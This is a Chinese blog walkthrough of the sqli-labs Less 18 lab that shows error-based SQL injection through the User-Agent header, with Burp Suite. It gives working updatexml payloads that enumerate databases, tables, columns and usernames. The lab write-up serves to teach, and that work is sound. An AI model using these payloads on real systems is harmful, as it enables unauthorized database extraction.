sqli-labs less 18 POST- Header injections - Uagent field -error based

一、这关提示头部注入。先来看一下源码
1.又出现了check_input函数,说明又开始进行了输入的过滤,先来找找哪些变量用到了这个函数

在这里插入图片描述
2.这里发现uname和passwd都进行了过滤,所以不能作为注入点,需要找其他没有被过滤的注入点

在这里插入图片描述

3.$_SERVER是一个包含了头信息、路径等的数组,这里直接赋值了agent没有对数据进行检查,下一步就是要找到有没有数据库语句用到这个uagent变量
在这里插入图片描述

4.发现这里的插入语句用到了uagent,可以确定在此注入,并且是用单引号闭合

在这里插入图片描述

5.这里有有输出数据库错误信息,所以选择用报错注入

在这里插入图片描述

二、打开bp拦截,submit第18关,然后send to repeater。找到user-agent开始注入

在这里插入图片描述

三、先来测试一下
1.payload构建正确但是并没有显示错误信息

User-Agent: 'and updatexml(1,concat('^',database()),1) and '1'='1

在这里插入图片描述

2.看一下源码,发现是因为先用用户名和密码进行了select查询,所以在uagent注入时要给uname和passwd赋有效的值才能成功
在这里插入图片描述

3.现在再来测试一下,uname和passwd选择用admin,成功报错
在这里插入图片描述
在这里插入图片描述

四、爆所有数据库

User-Agent: 1 ' and updatexml(1,concat('^',(select schema_name from information_schema.schemata limit 0,1)),1) and '1'='1

在这里插入图片描述
#####这里有一点奇怪的是,如果不删原来user-agent的字符串,他就不会显示xpath信息;如果删除的话,又必须在单引号前加一个数字才能显示xpath信息

五、爆指定数据库所有表

User-Agent: 100 ' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) and '1'='1

在这里插入图片描述

六、爆指定表所有列

User-Agent: 100 ' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' limit 0,1)),1) and '1'='1

在这里插入图片描述

七、爆指定列所有数据

User-Agent: 100 ' and updatexml(1,concat('^',(select username from users limit 0,1)),1) and '1'='1

在这里插入图片描述

over~

猜你喜欢

转载自blog.csdn.net/Monster1m/article/details/113110067